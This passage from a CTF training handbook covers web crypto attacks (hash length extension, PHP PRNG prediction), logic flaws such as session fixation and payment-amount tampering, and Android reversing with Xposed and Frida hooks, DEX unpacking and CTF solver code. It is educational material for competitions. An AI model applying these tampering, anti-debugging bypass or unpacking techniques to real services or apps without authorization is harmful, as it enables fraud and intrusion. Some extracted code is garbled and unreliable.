# Modified the fill part of the function
message += b'\xfd'
message += b'\xab' * ((56 - (message_byte_length + 1) % 64) % 64)
message_bit_length = message_byte_length * 8
message += struct.pack(b'>Q', message_bit_length)
h = _process_chunk(message[:64], *self._h)
...
So, the idea is to fill the string admin to the end of the user. We can modify the
program to complete the hash length expansion.
orig_digest = cookies['data'].decode('base64')
orig_user = cookies['user'].decode('base64')
min_len = len('|'.join(['?', post['username'], orig_user]))) , post
['username'], orig_user]))
The length of the burst here is a range because we don't know what the length of
the key is, so the length of what needs to be filled cannot be determined. In case the
algorithm is correct, the server will return the flag when the length of the key is
correct by traversing through it.
<?php
$seed = 1234;
mt_srand($seed);
for($i=0; $i<10; $i++) {
echo mt_rand()." \n";
}
$seed = 9876;
srand($seed);
for($i=0; $i<10; $i++) {
echo rand()." \n";
}
?>
252 3 Advanced Web Challenges
If somehow we get the seed used by the server, whether it’s a fixed value or a
timestamp, we can predict the pseudorandom numbers that will be generated later.
In the rand function, if srand is not called, the random number generated follows a
pattern:
In addition, on each call to mt_rand, PHP checks to see if a seed has been set. If
already set, generate random number directly, otherwise automatically set a seed.
The range of seeds used for auto-seeding is 0 to 232, and in each process handled by
PHP, as long as auto-seeding is performed, this seed is used until the process is
recycled. Therefore, while keeping the connection alive, we can use php_mt_seed
tool to blast the seeds according to the results of the generated random number list,
so as to achieve the purpose of predicting random numbers.
Although we have only described the pseudo-random numbers in PHP, in fact,
there are also problems with the strength of pseudo-random numbers in other
languages, such as Python, as shown in Fig. 3.53.
3.3 Cryptography and Reverse Knowledge 253
When dealing with such problems, you can refer to the introduction of relevant
functions in relevant official documents. If the generated pseudo-random number
can be predicted, there will be a hint that the pseudo-random function is not suitable
for encryption, as shown in Figs. 3.54 and 3.55.
254 3 Advanced Web Challenges
The attack methods and examples of cryptography introduced above are only a few
combinations of Web and Crypto, but cryptography focuses on more than these,
such as the CFB mode that can be replay attack in the block encryption mode, the
CTR mode that can be affected by bit-reversal attack, and even other stream
encryption algorithms. Although there is no example of combining with The Web,
it can still become the focus of the challenge maker in the future and appear in the
challenges. Therefore, Web competitors also need to know some knowledge of
cryptography, identify whether an encryption algorithm is vulnerable or not.
What’s more, web competitors must know when the data obtained in the challenges
and the string needed to construct should be given to the team’s cryptography
masters, and finally meet the requirements in the challenges.
In CTF competitions, some challenges may have arbitrary file download vulnera-
bilities but restrict the types of files that can be downloaded, such as.py in Python.
Python compiles .py files to .pyc or .pyo files at runtime to speed up the program. By
recovering bytecode information in these files, you can also retrieve the original
program code.
For example, in L Playground2 of LCTF 2018, the key code is shown in
Fig. 3.56. The interface of file download limits that the .py file cannot be directly
downloaded, but the corresponding .pyc file can be downloaded for decompilation to
obtain the source code, as shown in Fig. 3.57.
3.3.2.2 PHP
It is very likely that code will be encrypted during CTF Web competitions. To
understand PHP encryption, you need to know that PHP is not executed directly at
runtime. Instead, it is compiled once, and the cpmpiled Opcode is executed. There
are three important functions called zend_compile_file, zend_compile_string and
zend_execute. Common encryption methods include file encryption, code encryp-
tion, virtual machine implementation, etc. Due to different encryption methods,
decryption is also varying. The decryption plug-in modified to compile and to
execute according to different algorithms.
Traditional PHP encryption schemes are based on PHP code, destroying its
readability by obfuscating the code, decrypting the final code through PHP
interpretor, and executing the decrypted code through eval. For this type of problem,
since we know that it ultimately feed the decrypted code to eval, we decrypt the code
3.3 Cryptography and Reverse Knowledge 255
For example, in the Simple PHP Web of SCTF 2018, the source code can be
found at https://github.com/CTFTraining/sctf_2018_ babysyc.git. By downloading
the index.php via a arbitrary file download vulnerability, we fount it is encrypted. By
the content of phpinfo.php, we know that the server has a plugin named
encrypt_php, so we can download it in the specified plug-in directory. Analyze the
encryption plug-in, which hooks the zend_compile_file, as shown in Fig. 3.60.
Look again at the logic in the encrypt_compile_file. At the end of the function
execution, the encryptor directly sends the decrypted result back to the original
zend_compile_file, as shown in Fig. 3.61. You can print the decrypted code by
simply changing the position of the hook plug-in so that the hook function is called
after the decryption function, as shown in Fig. 3.62.
Another way to encrypt is to encrypt the compiled Opcodes. Monitoring
zend_compile_* will have no effect because the encryption won’t be compiled in
258 3 Advanced Web Challenges
PHP at all, but is decrypted to Opcode and executed directly. Since the compilation
wasn’t called, you should hook zend_execute, or hook even zend_execute_ex
instead, where you can get the decrypted opcode that can be analyzed. The VLD
extension of PHP provides a tool for analyzing Opcode. You need to modify VLD’s
source code, add dumped Opcode to vld_execute_ex, and manually analyze the
Opcode to recover the human readable source code.
For example, in sourceGuardian in RCTF 2019, we can see the hint of sg_load
function and title name that the code is encrypted using SourceGuardian, as shown in
Fig. 3.63. Opcode can be exported using the modified VLD.
After analyzing the Opcode, the source code can be recovered step by step, as
shown in Fig. 3.64.
One of the most complex forms of encryption is to re-implement a VM, encrypt
opCode generated by compiling PHP source code with a style that can only be
understood by the custom VM, and hand it over to the custom VM for parsing.
Typical examples are VMP, which is difficult to decrypt due to the huge workload
due to the need to analyze both the virtual machines and the codes.
3.3 Cryptography and Reverse Knowledge 259
3.3.2.3 JavaScript
In any case, JavaScript encryption eventually sends the decrypted results to the
JavaScript engine for execution, so we simply add hooks to key functions as we do to
decrypt PHP.
For example, in most cases, encrypted code can be decrypted and executed again
only by calling functions such as eval. In this case, we can change the eval function
into a printed function instead of execute it, but output it to obtain the key code.
260 3 Advanced Web Challenges
window.eval = function() {
console.log('eval', JSON.stringify(arguments))
}
Some code may be detected by the developer tools, and for this kind of
undebugging, we can remove that part of the code through BurpSuite’s proxy
feature. JavaScript code encryption is too difficult to implement, so in most cases
it is just obfuscated. However, the obufuscation only changes the variable names and
code structures, but the code itself can be optimized by code beautification tools or
even solved by Partial Evaluation technology. There are many open source tools on
the web that can optimize code, such as Google’s Closure Compiler, FaceBook’s
Prepack, and JStillery. While most applications optimize the code by refactint the
AST, evaluating functions, initializes objects, and so on at compile time to render
readable code.
Logic flaws refer to that in the process of program development, due to the lack of
strict consideration of the program processing logic, when reaching the branch logic
function, the normal processing or some errors can not be carried out, thus
causing harm.
In general, the function of the more complex the application, access authentica-
tion and more complex business processing procedures, developers should consider
the content will be greatly increased, so the function of the more complex the
application, developers, the greater the possibility of negligence, when there is
negligence of these points will cause business function abnormal executes, logical
flaws formed. By logical flaws on actual normal business functions exist, so the
different business functions as a direct result of the use of each logical flaws are
different, also can’t like SQL injection vulnerabilities summarizes the use of a
common process or bypass method, and that for testers in the aspect of business
logic comb has a higher request.
Unlike traditional vulnerabilities such as SQL injection and file upload, logic
flaws are often difficult to find if analyzed only at the code level. As a result,
traditional vulnerability scanners based on “input abnormal data – get abnormal
response” are often weak to detect logical vulnerabilities. At present, the mining
method for logical vulnerabilities is still mainly manual testing, and because it is
closely related to business functions, it is closely related to the experience of testers.
3.4 Logic Flaws 261
By logical loopholes on actual normal business functions exist, can't come to the
conclusion that a method of all logical loopholes effective use, but for these logical
loopholes, there is a common cause of it, this can be the logical loopholes a rough
classification, summed up in two kinds: permission problem, data problem.
Permission-related logic flaws
Let's start by looking at what a permission-specific logic flaw is. In normal service
scenarios, most operations require corresponding permissions. Common user rights
such as anonymous visitors, ordinary login users, member users, administrators, etc.,
all have their own unique rights operation. Anonymous visitor permission can
perform operations such as browsing information, searching for specific content,
while login permission can confirm order payment, membership permission can
make an appointment in advance, etc. These operations are closely related to the
user's permissions.
A privilege-related logical flaw occurs when there is a problem with the process
of assigning, confirming, and using privileges, which allows some users to perform
privileged operations that are not supported by their own privileges.
Common categories of privilege logic vulnerabilities are unauthorized access,
unauthorized access, and user authentication flaws.
Unauthorized access refers to the ability of a user to directly access information
such as text content or pages that would otherwise require authorization without
going through the authorization process. The essence of this is that when some
functions are developed, no user identity verification step is added, resulting in
unauthorized users accessing the corresponding functions without effective identity
verification, thus browsing the content that is not supported by their original
permissions, which leads to unauthorized access (see Fig. 3.65).
The main types of privileged access are lateral and vertical leaks. A horizontal
override vulnerability refers to an override that occurs between users with the same
level of privileges, where privileges are always limited to the same level, and is
therefore referred to as horizontal. In contrast, a vertical escape vulnerability refers to
the occurrence of an escape between users with different levels of privileges and is
often used to describe an escape from a user with lower privileges to a user with
higher privileges.
Suppose there are two users A and B, each with permissions for three actions, as
shown in Fig. 3.66.
For example, User A can view User B’s order history, where the process of
changing privileges is “Ordinary User ! Ordinary User” (see Fig. 3.67), but the
essential privilege level remains unchanged.
Vertical overreach involves the permission change between the administrator and
the user. For example, user A can edit the advertisement on the home page through
overreach, then the permission change process is from ordinary user to advanced
user, and the essential permission level changes.
262 3 Advanced Web Challenges
Administrator
privilege
escalation
Read sensitive passages
Anonymous User
Get Information of userst
Admin Operations
Administrators
Users
Profile Modification
Change avatar
User A User B
Fig. 3.66 Suppose there are two users A and B, each with permissions for three actions
3.4 Logic Flaws 263
User A User B
Privilege escalation
Profile Modification
Change avatar
Fig. 3.68 He server uses the Cookie (Session) to determine the user’s identity
User authentication defects usually involve many parts, including login system
security, password recovery system, user identity authentication system, etc. In
general, the ultimate goal is to obtain the appropriate permissions of the user. Taking
the login system as an example, a complete system at least includes: username and
password consistency verification, verification code protection, Cookie (Session)
identity verification, and password retrieval. For example, Cookie (Session) authen-
tication. After a user logs in to the service system using a matched username and
password, the server is assigned a Cookie (Session) value, which is usually a unique
string. The server uses the Cookie (Session) to determine the user’s identity. As
shown in Fig. 3.68.
Open the browser’s console and view the cookies that the current page has
through JavaScript, as shown in Fig. 3.69. Or you can view the Cookie of the current
page in the network request section, as shown in Fig. 3.70.
264 3 Advanced Web Challenges
Cookie data is presented in the form of a key-value pair, and when the value is
modified, the content of the corresponding cookie key is modified. If the key-value
pairs used to verify the identity of a cookie are not effectively protected during
transmission, they may be tampered with by an attacker, and the server can then
recognize the attacker as a normal user. Suppose the key-value pair of the authen-
tication cookie is “auth_priv¼guest”, when the attacker modifies it to
“auth_priv¼admin”, the server will recognize the attacker as a normal user. This
creates a cookie impersonation logical flaw in the cookie authentication process.
As for the Session mechanism, since the Session is stored on the server, the Angle
exploited by the attacker will change slightly. Unlike Cookie verification, Session
verification assigns a Session ID to the user after opening the web page, which is
usually a string of letters and numbers. After a user log in, the corresponding Session
ID records the corresponding permissions. The verification process is shown in
Fig. 3.71.
The key point of Session authentication is “identify the user by session ID”. There
is a Session fixed attack on this key point. See Fig. 3.72 for the attack process.
In simple terms, the attack flow is as follows: the attacker opens the page and gets
a session ID, which we will call S; the attacker sends a link to the victim, which
causes the victim to use S to log in, such as http://session.demo.com/ login.php?
sessionId¼xxxx; victim B executes After logging in, the session ID corresponding to
S will contain the identifying information of user B. The attacker can also use S to
gain access to the victim's account.
2. Data-related logical flaws
In reality, for the shopping system with interwoven business functions, normal
business functions will involve a variety of scenarios, such as commodity balance,
money expenditure, commodity attribution determination, order modification, use of
vouchers, etc. Purchase of these functions, for example, in the process of buying
involves merchants balance changes of commodity, the buyer of the amount of
consumption, such as server transaction history data, because involves more types of
data, so in the actual development process, for some of the data type of the
possibility of ill-considered check then, such as cost amount is the amount of
positive and negative decision, if we can change and other issues. These problems
are often not directly caused by bugs at the code level, but rather by a partial failure
3.4 Logic Flaws 265
of judgment in the business processing logic. This is due to a lack of judgment on the
part of the business process logic.
Data-related logical flaws often focus on business data tampering, replaying, etc.
Business data tampering involves many of the problems mentioned above, and is
closely related to the legal regulations made by developers on normal business. For
example, in the purchase limit behavior, the breakthrough of the maximum purchase
quantity is also regarded as business data tampering. In addition, several common
business data tampering in purchase scenarios include amount data tampering,
commodity quantity tampering, maximum purchase limit modification, coupon ID
tampering. In different scenarios, tamper-able data varies and needs to be analyzed
according to the actual situation. Therefore, the above four types of data are only for
purchase scenarios.
By tampering with business data, attackers can modify the tasks they planned to
perform, such as tampering with consumption amount. If a payment link to http://
demo.meizj.com/pay.php?money¼1000&purchaser¼jack&productid¼1001&
seller¼john. The parameters have the following meanings: Money represents the
amount spent in the purchase, The purchasers’ username, Productid represents the
purchase information, and Seller represents the seller’s username.
If the backend purchase function is implemented through this URL, then the
business logic can be described as “purchaser spent money to buy the productid
product from seller”. When the transaction is completed normally, the money is
266 3 Advanced Web Challenges
deducted from the purchaser’s balance, but when the server-side chargeback is based
only on the money parameter in the URL, an attacker can easily tamper with the
money parameter to change the actual amount he or she has spent. For example, the
tampered URL is http://demo.meizj.com/ pay.php?
money¼1&purchaser¼jack&productid¼1001&seller¼john. At this point, the
attacker completes the purchase process with only 1 yuan. This is essentially because
the backend does not verify the type and format of the data effectively, resulting in
unexpected situations.
Therefore, in the author’s opinion, data-related logic vulnerabilities are basically
caused by errors and omissions in data verification.
Compared with other Web flaws, logic flaws usually require the combination of
multiple business function vulnerabilities. Therefore, they often exist in complex
3.4 Logic Flaws 267
business systems, incur high deployment costs, and appear less frequently in CTF
competitions.
In 2018, X-NUCA included a web challenge called “blog”, which implemented a
small OAuth 2.0 authentication system in which the contestant had to find a loophole
in order to log into the administrator account and get a flag on the backend page after
logging in.
OAuth 2.0 is an industry-standard authorization protocol for issuing time-
sensitive tokens to third-party applications so that they can access relevant resources
through the token. A common scenario is that a user does not have an account on a
website, but the website is connected to QQ, WeChat, etc. The user uses OAuth 2.0
when logging in.
The OAuth 2.0 authentication process is shown in Fig. 3.73, which is as follows:
the client page requests authorization from the user !∙the∙client page obtains
authorization from the user !∙the∙client page requests Token from the authorization
server (such as WeChat) !∙the∙authorization server confirms that the authorization
is valid and issues Token to the client page !∙the∙client page requests the resource
server with the Token !∙the resource server After the server verifies that the token is
valid, the resource is returned.
The following features exist in this topic: the ability to register and log in for
regular users; the ability to register and log in for users of the OAuth website; the
ability to bind regular users to their accounts on the OAuth website; the ability to
268 3 Advanced Web Challenges
send a link to an administrator, who will have automatic access, and the link must
start with the topic URL; an arbitrary address redirection vulnerability.
When binding an ordinary user to an OAuth account, a Token is returned first,
and then the page carries the Token for jumping to complete the binding of the
OAuth account to the ordinary user. The link to carry the Token for account binding
is in the form of http://oauth.demo.com/main/oauth/?state¼******. After accessing
the link, the OAuth account will be automatically bound to a regular account.
The key is that ordinary users can complete the binding of ordinary account and
OAuth account by accessing the link with Token. Similarly, the administrator can
access the link to complete the account binding. The arbitrary address skipping
vulnerability can be used to deploy an address skipping page on the remote server.
The skipping address is the link bound with Token. When the administrator accesses
the submitted link, it is first redirected to the remote server and then redirected to the
binding page to complete the binding between the OAuth account and the adminis-
trator account. At this point, use the OAuth account to quickly log in to the
administrator account.
3.5 Summary
In general, Web challenges were the easiest to get started in all directions in the CTF
competition. The book divides the main vulnerabilities involved in Web topics into
three levels: “getting started”, “advanced” and “expanded”, each with one chapter,
allowing readers to step by step. However, because the classification of Web
vulnerabilities is very complex and complicated, and technology updates are faster
than other types of topics, readers are expected to supplement relevant knowledge
while reading this book, so that they can learn from one another and improve their
own ability.
For the relevant content of this book, readers can find corresponding supporting
examples to practice on the N1BOOK (https://book-en.nu1l.com/) platform, so as to
better understand the content of this book.
Chapter 4
APK
In CTFs, the number of Android challenges is generally small, and they usually fall
into Misc and Reverse categories. The former usually tries to conceal data based on
the characteristics of the system to test the participant’s understanding of Android.
The latter mainly examines the player’s ability to reverse Java or C/C++ codes.
Challenge designers will often apply obfuscation (ollvm, etc.), reinforcement, anti-
debugging, and other techniques to increase the difficulty of reversing the applica-
tion. These challenges often require participants to be familiar with common
debugging and reversing tools, and to know common anti-debugging and shelling
methods.
This chapter will introduce some basic knowledge of Android development, the
necessary skills required for solving CTF challenges on Android systems, tips for
using tools, and some practical skills such as bypassing anti-debugging techniques
and unshelling. Finally, we try to let readers get started with CTF APK challenges
faster and better through analyzing several examples.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 269
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_4
270 4 APK
APK (Android application Package) files usually contain the following files and
directories.
1. meta-inf directory
The meta-inf directory includes the following files.
• manifest.mf: Manifest file.
• cert.rsa: Application signature file.
• cert.sf: List of resources and their corresponding SHA-1 signatures.
2. lib directory
The lib directory contains platform-related library files, which may include the
following files.
• armeabi: All files related to ARM processors.
• armeabi-v7a: Files related to ARMv7 and above.
4.1 Fundamentals of Android Development 271
DEX is short for Dalvik Executable File, which is the Android Dalvik executable,
and the DEX file contains all the Java layer code of the executable. When DEX is
compressed and optimized, it not only reduces the size of the program, but also
speeds up the efficiency of finding classes and methods. The structure of the DEX
file is shown in Fig. 4.3.
The header section of the DEX file contains data such as file size, checksum
values, offsets and sizes of each data type table. The type table has the following
types.
• string table: Each table entry points to a string data offset. String data consists of
two parts, starting with the variable length of the string encoded by uleb128,
followed by the specific string data, and ending with ‘\0’.
• type table: Stores the index of each type in the string table.
• proto table: Each item contains three elements, namely, function prototype
abbreviation, return type index, and parameter offset. The first element of param-
eter offset is of type uint, indicating the number of parameters.
272 4 APK
• field table: Each table entry describes a variable with three elements, which are
the class the variable belongs to, the type the variable belongs to, and the name of
the variable.
• method table: Each table entry describes a function with three elements, which are
the class to which the function belongs, the function prototype, and the name of
the function.
• class table: Each table entry describes a class with eight elements, namely class
name, access flag, parent class offset, interface offset, source file index, class
comment, class data offset, and static variable offset.
• maps table: Saves the size and starting offset of each of the above tables, and the
system can quickly locate each table from this table.
As of May 2019, the latest API level of Android is 28, and the corresponding version
is Pie. Each major version of the API has major changes. In the AndroidManifest.
xml file, we can see the minimum supported API version for the application and the
API version used for compilation. The official Android API list is shown in Fig. 4.4.
4.1 Fundamentals of Android Development 273
The programming language for Android is Java, but as of the Google I/O conference
in May 2017, the official Android language was changed to Kotlin (a JVM-based
programming language), which makes up for Java’s missing modern language
features and simplifies the code so that developers can write as little code as possible.
This chapter still takes the original Java code as an example to show the basic code
structure of an Android application.
The entry point for Android applications is the onCreate function.
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
This section introduces some of the main reverse tools and modules used in APK
reverse. Good tools can greatly speed up the reversing process. There are a lot of
reverse tools for Android platform, such as Apktool, JEB, IDA, AndroidKiller,
Dex2Jar, JD-GUI, smali, baksmali, jadx, etc. This section mainly talks about JEB,
IDA, Xposed and Frida.
4.2.1 JEB
There are many decompilers for the Android platform, and JEB is the most powerful
of them all. JEB has evolved from an early Android APK decompiler to now,
supporting not only Android APK file decompilation, but also MIPS, ARM,
ARM64, x86, x86-64, WebAssembly, EVM, etc. Its UI and open interfaces are
easy to use and greatly reduce the difficulty of reverse engineering, see Fig. 4.5.
JEB 2.0 supports dynamic debugging, which is easy to use, easy to get started,
and can debug any APK with debugging mode on.
When trying to attach, if the process is marked as D, it means that the process can
be debugged. Otherwise, it means the debugging flag is set to off, and the process
cannot be debugged, see Fig. 4.6.
4.2 APK Reverse Tool 275
When debugging, on the OSX system, we can set breakpoints on the smali level
through Command+B. We can inspect the values of each register at the current
location in the right VM/Locals window. Double clicking can modify the value of
any register, see Fig. 4.7.
When dealing with an application with debugging turned off, or dealing with a
non-Eng rooted Android device, we might be unable to debug the application. We
can try to force the debugging mode on by hooking the system interface. The
following code is used to dynamically modify the debug state of a non-Eng phone,
with the help of Xposed Hook.
Class pms=SharedObject.masterClassLoader.loadClass("com.android.
server.pm.PackageManagerService");
XposedBridge.hookAllMethods(pms,"getPackageInfo",new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) throws
Throwable {
int x = 32768;
Object v2 = param.getResult();
if(v2 != null) {
ApplicationInfo applicationInfo = ((PackageInfo)v2).applicationInfo;
int flag = applicationInfo.flags;
if((flag&x) == 0) {
flag |= x;
}
if((flag&2) == 0) {
flag |= 2;
}
applicationInfo.flags = flag;
param.setResult(v2);
}
}
});
4.2.2 IDA
When reverse engineering native libraries, IDA is better than other reversing tools
such as JEB, and its dynamic debugging can greatly accelerate the speed of Android
Native layer reverse engineering. This section mainly discusses how to use IDA to
analyse Android native libraries (so files).
4.2 APK Reverse Tool
IDA’s own tool android_server is needed for Android native layer debugging: for
32-bit Android phones, use the 32-bit android_server and the 32-bit IDA; for 64-bit
Android phones, use the 64-bit android_server and the 64-bit IDA. If you want to
change the permissions, see Fig. 4.8.
IDA’s debug server will listen on port 23946 by default, you need to use the adb
forward command to forward Android port commands to the local machine.
Xposed is an Android Hook framework for rooted devices, which allows you to
modify an application’s running state without modifying its source code. It works by
replacing the phone’s incubator, zygote, with Xposed’s own zygote, which loads
XposedBridge.jar during startup. The steps for Xposed Hook are as follows.
<1> Add Xposed-related meta-data to the application tag in AndroidManifest.xml.
<meta-data
android:name="xposedmodule"
android:value="true" />
<meta-data
android:name="xposeddescription"
android:value="xposed description goes here" />
<meta-data
android:name="xposedminversion"
android:value="54" />
280 4 APK
<4> Declare the Xposed entry. Create a new assets folder and create an xposed_init
file, from which you can fill in the Xposed module entry class name, such as com.
test.ctf.CTFDemo.
<5> Activate the Xposed module. Activate the module in the Xposed application
and reboot to see the results of the Hook.
Frida is a cross-platform Hook framework that supports iOS and Android. For
Android applications, Frida can hook not only Java layer functions, but also native
functions, which can greatly improve the speed of reverse analysis. To install Frida,
please see the official documentation for details. Next, we are going to talk about
some techniques of using Frida.
(1) Hook Android Native Functions.
Interceptor.attach(Module.findExportByName("libc.so" , "open"), {
onEnter: function(args) {
send("open("+Memory.readCString(args[0])+","+args[1]+")");
},
onLeave:function(retval){
}
});
Frida needs to be used in a rooted environment, but it also provides a way to inject
codes without the root environment by decompiling, injecting code into the appli-
cation, making it load Frida Gadget-related so files when initializing, and storing the
configuration file libgadget.config.so in the lib directory to indicate the path to the
dynamically injected JS code. After repackaging the application, you can use Frida
Hook without rooting the device.
In order to protect an app, developers often make it difficult to reverse engineer the
core routines of the app in various ways. Debugging techniques are vital means for
reverse-engineers to understand the logic of these core routines. As a result, the
corresponding anti-debugging techniques are the “armors” of developers. These anti
techniques are mostly derived from the Windows platform and can be divided into
the following categories.
1. Detect debugger characteristics.
• Check debugger ports, such as port 23946, which is used by default for IDA
debugging.
284 4 APK
http://androidxref.com/8.1.0_r33/xref/art/runtime/dex_file.cc#OpenCommon
--------------------------------------------------------
--------------------------------
Interceptor.attach(Module.findExportByName("libart.so",
"_ZN3art15DexFileVerifier6
VerifyEPKNS_7DexFileEPKhjPKcbPNSt3__112basic_stringIcNS8_
11char_traitsIcEENS8
_9allocatorIcEEEE"), {
onEnter: function(args) {
console.log("verify..")
var begin = args[1]
The idea behind this method is that under Dalvik/ART mode if the DEX file is
stored in memory sequentially at some time, we must be able to find a specific point
where the DEX file is intact in memory. Using Hook, we can then obtain the
complete original DEX file. If there is no anti-Hook code or the anti-Hook is not
strong enough, this is a very simple and efficient way to unpack the target.
The idea of unpacking by modifying the Android source is similar to that of using
Hook, which is to find a specific point where the DEX file is stored intact in memory.
For example, it is possible to modify the dex2oat source to get rid of a certain
vendor’s shell.
art/dex2oat/dex2oat.cc Android8.x
make dex2oat
Another way to modify the source to unpack is to modify the following files in
Android 8.1 as follows.
runtime/base/file_magic.cc
art/sruntime/dex_file.cc
////////////
// art/runtime/base/file_magic.cc
#include <fstream>
#include <memory>
#include <sstream>
#include <unistd.h>
#include <sys/mman.h>
if (!fstat(fd.Fd(), &st)) {
char* addr = (char*)mmap(NULL, st.st_size, PROT_READ,
MAP_PRIVATE, fd.Fd(), 0);
int ret = write(fd_out, addr, st.st_size);
ret = 0; // no use
munmap(addr, st.st_size);
}
close(fd_out);
delete []fn_out;
}
4.4 APK Unpacking 287
//
//
////////////////
int n = TEMP_FAILURE_RETRY(read(fd.Fd(), magic, sizeof(*magic)));
////////////
// art/runtime/dex_file.cc
DexFile::DexFile(const uint8_t* base,
size_t size,
const std::string& location,
uint32_t location_checksum,
const OatDexFile* oat_dex_file)
...
oat_dex_file_(oat_dex_file) {
////////////
// add
//
//
//end
////////////
CHECK(begin_ != nullptr) << GetLocation();
//////////////////////////
For some shells, the DEX file is never intact in the memory. Therefore, we can not
use the aforementioned technique to unpack. Luckily, we have FUPK3 (https://bbs.
pediy.com/thread-246117-1.htm), a DEX reconstruction tool based on modifying
the Android source.
To use FUPK3, we first need to patch the Android source before compiling it.
cd dalvik
patch -p1 < dalvik_vm_patch.txt
cd framework/base
patch -p1 < framework_base_core_patch.txt
<1> Open FUPK3 on your phone, click the icon, select the app you want to unpack,
and then click UPK to unpack it.
<2> The current shelling information is displayed in Logcat, and the Filter is
LOG TAG: F8LEFT.
<3> In the information interface, the DEXs successfully unshelled are shown in
blue, otherwise they are shown in red.
<4> There may be some DEX files that cannot be unshelled completely at one time,
so click UPK several times.
<5> The DEX file dumped is located in the /data/data/pkgname/.fupk3 directory.
<6> Click CPY and copy the unshelled DEX file to the temporary directory /data/
local/tmp/.fupk3.
<7> Export DEX: adb pull /data/local/tmp/.fupk3 localFolder.
<8> Reconstruct the DEX file using FUnpackServer: java -jar upkserver.jar
localFolder.
NJCTF 2017 has a Native App written purely in native codes, whose
AndroidManifest.xml content is shown in Fig. 4.15.
It can be seen that the app has only one main activity class: android.app.
NativeActivity. Using JEB we can see that no implementation exists on the Java
layer, as shown in Fig. 4.16. This app contains a library(so), which has used
OLLVM to obfuscate its core logic, as shown in Fig. 4.17.
Diving into the core logic of the library, we can see that the program gets the x,y,z
coordinates of the current device from the accelerometer. Then it makes a calculation
and spits out the flag only when x,y,z meet certain conditions. Since the library is
heavily obfuscated, it’s extremely hard to figure out the satisfying condition, so we
might need to consider a new way out.
We can notice that a function named flg seems very suspicious:
This function takes an int value and calculates the generated string (the challenge
description states that the flag consists of only printable characters). So one simple
solution is to call the flg function directly and run an exhaustive search to find all
combinations of the printable flag.
The solution script is as follows.
#include<stdio.h>
v2 = out;
v3 = a1;
v4 = a1;
v5 = j_j___modsi3(a1, 10);
v6 = v5;
v7 = 20 * v5;
*v2 = 20 * v5;
v8 = j_j___divsi3(v4, 100);
v9 = j_j___modsi3(v8, 10);
v10 = v9;
v11 = 19 * v9 + v7;
v2[1] = v11;
v2[2] = v11 - 4;
v12 = v4;
v13 = j_j___divsi3(v4, 10);
v14 = j_j___modsi3(v13, 10);
v15 = j_j___divsi3(v4, 1000000);
v2[3] = j_j___modsi3(v15, 10) + 11 * v14;
v16 = j_j___divsi3(v4, 1000);
v17 = j_j___modsi3(v16, 10);
// LOBYTE(v4) = v17;
v4 = v17;
v18 = v17;
v19 = j_j___divsi3(v12, 10000);
v20 = j_j___modsi3(v19, 10);
v2[4] = 20 * v4 + 60 - v20 - 60;
v21 = -v6 - v14;
4.5 APK in CTFs 291
v22 = -v21;
v2[5] = -(char)v21 * v4;
v2[6] = v14 * v4 * v20;
v23 = j_j___divsi3(v3, 100000);
v24 = j_j___modsi3(v23, 10);
v2[7] = 20 * v24 - v10;
v2[8] = 10 * v18 | 1;
v2[9] = v22 * v24 - 1;
v2[10] = v6 * v14 * v10 * v10 - 4;
v2[11] = (v10 + v14) * v24 - 5;
v2[12] = 0;
return v2;
}
int main() {
char out[256], flag = 0;
for(unsigned int I = 0; I <= 4294967295-1; ++i) {
flag = 0;
memset(out, 0, 256);
flg(i, out);
if(strlen(out) >= 10) {
for(int j=0; j<12; ++j) {
if((out[j] >= 'a' && out[j] <= 'z') || (out[j] >= 'A' && out[j] <= 'Z') ||
(out[j] >= '0' && out[j] <= '9')|| out[j] == '_' )
continue;
else {
flag = 1;
break;
}
}
if(flag == 0)
printf("%s\n", out);
}
}
return 0;
}
We can see that we can always view CTF challenges from different angles.
Sometimes we might come up with an unintended solution, bypassing the obstacles
set forth by the designer.
In XDCTF 2016 there is an Android RE challenge, which includes some basic anti-
debugging, anti-vm techniques. It’s always better to analyze a program through
debugging, so we’d better bypass its anti mechanisms first.
To get rid of the anti-debugging codes on the Java layer (as shown in Fig. 4.18),
we should delete the anti-debugging smali codes, repack and re-sign the app.
292 4 APK
Fig. 4.19 The key function that verifies the flag is on the native layer
The key function that verifies the flag is on the native layer. As we can see in
Fig. 4.19, some anti-debugging mechanisms are also adopted here. The program
tests the current TracerPid to detect if it is being ptraced. Debuggers like IDA Pro use
ptrace to debug the program. If we want to bypass this anti mechanism, we can
simply patch this function, delete the anti-codes. Or, we can modify the Android
source, setting TracerPid to 0 permanently.
After we get rid of these anti mechanisms, we can easily figure out, through
debugging, that the program takes the 5 ~ 38 bytes of the input, reverses them,
base64 encodes them, and then compares the encoded result with the following:
4.6 Summary 293
dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k
Therefore, we can simply base64 decode this string and reverse it back to the
original order, then the flag appears.
iwantashellbecauseidonthaveitttt
4.6 Summary
As can be seen from the examples, the APK challenges in CTFs often test players’
reverse engineering skills as well as their understanding of the Android system. Only
by understanding the defending mechanisms can we truly master the means of
breaking them.
Chapter 5
Reverse Engineering
Reverse engineering is a technical process that involves the reverse analysis and
study of a target product to derive design elements such as processing flow,
organizational structure, and functional specifications of the product to produce a
product with similar but not identical functions. In CTF, reverse engineering gener-
ally refers to software reverse engineering, that is, analyzing compiled executable
files, studying program behavior and algorithms, and recover the flag based on the
analyze.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 295
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_5
296 5 Reverse Engineering
files, common executable file types, so that you can have an initial understanding of
them.
1. Executable file formation processing (compilation and linking)
If you are new to the subject, it is critical to understand the executables. Likewise, as
the creation of human civilization, executables are not created directly by magic, it
has gone through a series of steps.
Most executables are compiled in high-level languages. In general, it contains the
following steps.
<1> The user takes a set of source code written in a high-level language to the
compiler.
